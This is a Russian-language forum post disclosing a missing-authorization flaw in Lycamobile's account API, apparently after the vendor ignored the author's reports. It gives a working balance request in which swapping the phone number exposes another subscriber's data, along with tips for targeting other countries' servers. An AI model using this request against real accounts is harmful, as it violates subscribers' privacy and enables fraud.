(c)В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps.
Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.
Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.Команды API можно узнать там же на сервере по адресу maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:
А в ответ на придет что-то вроде:Код:POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1 X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c Content-Type: application/json X-Requested-With: XMLHttpRequest User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;) Host: maccount.lycamobile.co.uk Connection: Keep-Alive Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр) Cookie2: $Version=1 Content-Length: 84 {"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}
Код:HTTP/1.1 200 OK Cache-Control: private Content-Length: 106 Content-Type: application/json; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Fri, 26 May 2017 20:57:58 GMT Proxy-Connection: Keep-alive {"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}
С помощью данной уязвимости можно например узнать личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.
Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.
Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
А ведь не спроста в своё время в МТС не захотели разрешать перевод денег через инет-помощник.